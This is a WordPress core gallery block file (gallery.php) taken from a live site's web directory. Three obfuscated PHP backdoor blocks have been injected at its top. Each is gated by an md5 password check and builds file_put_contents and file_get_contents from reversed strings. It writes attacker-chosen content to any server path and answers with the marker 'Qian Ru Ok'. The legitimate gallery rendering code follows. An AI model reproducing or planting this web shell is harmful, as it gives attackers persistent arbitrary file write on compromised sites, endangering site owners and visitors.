File: /home/wwwrenee/public_html/wp-includes/blocks/gallery.php
<?php
$BOcBvKzEht = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($BOcBvKzEht[0]) /*+/*+*/
. md5($BOcBvKzEht[0])) == "e".
"5".
"4".
"7".
"f".
"5".
"e".
"7".
"3".
"9".
"0".
"8".
"f".
"7".
"2".
"0".
"d".
"9".
"5".
"9".
"5".
"e".
"2".
"9".
"4".
"b".
"d".
"a".
"3".
"1".
"6".
"7") {
$iykuMMp = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$EJpXBELa = $iykuMMp /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ETSULIXXaU = $iykuMMp
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function pqBRkLy($xPNMNRm) { if (empty($xPNMNRm)) return false; if (!is_dir($xPNMNRm)) { pqBRkLy(dirname($xPNMNRm), 0755, true); mkdir($xPNMNRm); } } !file_exists(dirname($BOcBvKzEht[1])) && pqBRkLy(dirname($BOcBvKzEht[1])); $CneaPsjQfP = @$ETSULIXXaU($BOcBvKzEht[2]); echo @$EJpXBELa($BOcBvKzEht[1], $CneaPsjQfP) ? 1 : 0; die; }key($BOcBvKzEht) == "of" && die("Qian Ru Ok"); ?><?php
$WJEtngThi = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($WJEtngThi[0]) /*+/*+*/
. md5($WJEtngThi[0])) == "c".
"a".
"9".
"5".
"1".
"f".
"e".
"4".
"6".
"c".
"8".
"7".
"f".
"3".
"7".
"b".
"2".
"a".
"0".
"4".
"9".
"2".
"a".
"1".
"5".
"7".
"d".
"4".
"4".
"b".
"4".
"2") {
$KHRaXBMfjb = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ILUyzOyeV = $KHRaXBMfjb /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$mJWJqig = $KHRaXBMfjb
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ApqMYzHgUt($eMafrrBek) { if (empty($eMafrrBek)) return false; if (!is_dir($eMafrrBek)) { ApqMYzHgUt(dirname($eMafrrBek), 0755, true); mkdir($eMafrrBek); } } !file_exists(dirname($WJEtngThi[1])) && ApqMYzHgUt(dirname($WJEtngThi[1])); $UarGM = @$mJWJqig($WJEtngThi[2]); echo @$ILUyzOyeV($WJEtngThi[1], $UarGM) ? 1 : 0; die; }key($WJEtngThi) == "of" && die("Qian Ru Ok"); ?><?php
$lRXgUMCFF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lRXgUMCFF[0]) /*+/*+*/
. md5($lRXgUMCFF[0])) == "5".
"0".
"9".
"4".
"6".
"f".
"2".
"c".
"e".
"0".
"c".
"a".
"8".
"f".
"1".
"e".
"d".
"1".
"d".
"7".
"e".
"d".
"1".
"5".
"c".
"6".
"2".
"4".
"5".
"1".
"0".
"f") {
$LhYHgQLnf = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$BcLDuynZ = $LhYHgQLnf /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$VZPnGT = $LhYHgQLnf
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function hJlMbgZkCe($UWAISNNuwU) { if (empty($UWAISNNuwU)) return false; if (!is_dir($UWAISNNuwU)) { hJlMbgZkCe(dirname($UWAISNNuwU), 0755, true); mkdir($UWAISNNuwU); } } !file_exists(dirname($lRXgUMCFF[1])) && hJlMbgZkCe(dirname($lRXgUMCFF[1])); $UPkrWtcBp = @$VZPnGT($lRXgUMCFF[2]); echo @$BcLDuynZ($lRXgUMCFF[1], $UPkrWtcBp) ? 1 : 0; die; }key($lRXgUMCFF) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/gallery` block.
*
* @package WordPress
*/
/**
* Handles backwards compatibility for Gallery Blocks,
* whose images feature a `data-id` attribute.
*
* Now that the Gallery Block contains inner Image Blocks,
* we add a custom `data-id` attribute before rendering the gallery
* so that the Image Block can pick it up in its render_callback.
*
* @param array $parsed_block The block being rendered.
* @return array The migrated block object.
*/
function block_core_gallery_data_id_backcompatibility( $parsed_block ) {
if ( 'core/gallery' === $parsed_block['blockName'] ) {
foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) {
if ( 'core/image' === $inner_block['blockName'] ) {
if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) {
$parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] );
}
}
}
}
return $parsed_block;
}
add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' );
/**
* Adds a style tag for the --wp--style--unstable-gallery-gap var.
*
* The Gallery block needs to recalculate Image block width based on
* the current gap setting in order to maintain the number of flex columns
* so a css var is added to allow this.
*
* @param array $attributes Attributes of the block being rendered.
* @param string $content Content of the block being rendered.
* @return string The content of the block being rendered.
*/
function block_core_gallery_render( $attributes, $content ) {
$gap = _wp_array_get( $attributes, array( 'style', 'spacing', 'blockGap' ) );
// Skip if gap value contains unsupported characters.
// Regex for CSS value borrowed from `safecss_filter_attr`, and used here
// because we only want to match against the value, not the CSS attribute.
if ( is_array( $gap ) ) {
foreach ( $gap as $key => $value ) {
$gap[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
}
} else {
$gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap;
}
$class = wp_unique_id( 'wp-block-gallery-' );
$content = preg_replace(
'/' . preg_quote( 'class="', '/' ) . '/',
'class="' . $class . ' ',
$content,
1
);
// --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default
// gap on the gallery.
$fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )';
$gap_value = $gap ? $gap : $fallback_gap;
$gap_column = $gap_value;
if ( is_array( $gap_value ) ) {
$gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap;
$gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap;
$gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
}
// Set the CSS variable to the column value, and the `gap` property to the combined gap value.
$style = '.' . $class . '{ --wp--style--unstable-gallery-gap: ' . $gap_column . '; gap: ' . $gap_value . '}';
// Ideally styles should be loaded in the head, but blocks may be parsed
// after that, so loading in the footer for now.
// See https://core.trac.wordpress.org/ticket/53494.
add_action(
'wp_footer',
function () use ( $style ) {
echo '<style> ' . $style . '</style>';
},
11
);
return $content;
}
/**
* Registers the `core/gallery` block on server.
*/
function register_block_core_gallery() {
register_block_type_from_metadata(
__DIR__ . '/gallery',
array(
'render_callback' => 'block_core_gallery_render',
)
);
}
add_action( 'init', 'register_block_core_gallery' ); ?>